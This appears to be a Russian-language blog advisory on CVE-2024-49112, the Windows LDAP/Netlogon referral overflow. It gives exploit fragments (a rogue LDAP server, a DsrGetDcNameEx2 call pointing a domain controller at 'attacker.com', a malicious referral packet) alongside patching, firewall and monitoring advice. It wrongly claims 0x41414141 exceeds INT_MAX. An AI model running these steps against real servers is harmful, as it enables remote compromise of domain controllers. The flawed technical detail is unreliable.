Уязвимость BDU:2024-11018 в Windows LDAP/NRPC
Уязвимость BDU:2024-11018 в Windows LDAP/NRPC
Категория: Программы Теги: Уязвимости Опубликовано: 10 апреля 2025

Уязвимость BDU:2024-11018: Целочисленное переполнение при обработке LDAP-рефералов

Уязвимость BDU:2024-11018 (CVE-2024-49112) в реализации протокола LDAP и Netlogon Remote Protocol (NRPC) Windows связана с целочисленным переполнением при обработке LDAP-рефералов (referral). Это позволяет удалённому злоумышленнику выполнить произвольный код в контексте LDAP-службы (часто с правами SYSTEM).


Технический анализ

1. Механизм эксплуатации

  • Целевой компонент: Служба Netlogon (lsass.exe), обрабатывающая LDAP-запросы.

  • Уязвимый код: Ошибка возникает при парсинге LDAP-ответов с рефералами, где неправильная обработка полей messageId и referral приводит к переполнению буфера.

2. Векторы атаки

  • Для серверов: Злоумышленник отправляет специальный RPC-вызов DsrGetDcNameEx2 к доменному контроллеру, заставляя его запросить LDAP-сервер атакующего.

  • Для клиентов: Пользователь должен быть обманно направлен к вредоносному LDAP-серверу (например, через фишинг).

3. Эксплойт LDAP Nightmare

Этапы работы:

  1. Создание LDAP-сервера:

    # Запуск UDP-сервера на порту 389  
    asyncio.run(run_exploit_server(listen_port)) 
  2. Инициация RPC-вызова:

    DsrGetDcNameEx2(target_ip, domain_name="attacker.com") 

    Вызов заставляет целевой сервер запросить attacker[.]com через LDAP.

  3. Отправка вредоносного реферала:
    В ответе LDAP-сервера подменяется messageId и добавляется реферал с переполняющим значением:

    bytes_to_send = get_malicious_ldap_packet(message_id, lm_referral=0x41414141) 

    Это вызывает целочисленное переполнение в lsass.exe, приводящее к RCE.


Технические детали уязвимого кода

Ошибка в обработке messageId

При парсинге LDAP-пакета поле messageId интерпретируется как 32-битное целое, но не проверяется на корректность. Указание значения 0x41414141 (или другого, превышающего INT_MAX) вызывает переполнение, что ведёт к:

  • Записи за пределы выделенного буфера.

  • Повреждению структур данных в памяти.

Пример уязвимого кода (псевдокод):

void parse_ldap_response(Packet* packet) {  
    uint32_t messageId = read_uint32(packet->data + offset);  
    // Нет проверки messageId на допустимый диапазон  
    process_referral(packet->referral, messageId); // Переполнение здесь  
}  

Рекомендации по защите

  1. Установите обновления:

    • Примените патчи Microsoft от 10.12.2024.

  2. Ограничьте сетевой доступ:

    • Заблокируйте входящие RPC-вызовы на портах 135, 49664 через брандмауэр.

    • Используйте Windows Defender Firewall с Advanced Security для фильтрации LDAP/UDP 389.

  3. Настройте DNS:

    • Убедитесь, что SRV-записи _ldap._tcp.dc._msdcs указывают только на доверенные серверы.

    • Включите DNSSEC для предотвращения подмены DNS.

  4. Мониторинг:

    • Отслеживайте подозрительные LDAP-запросы к внешним доменам через SIEM-системы.

    • Используйте правила Auditpol для логирования событий Netlogon:

      auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable  
Алексей Черемных Алексей Черемных
45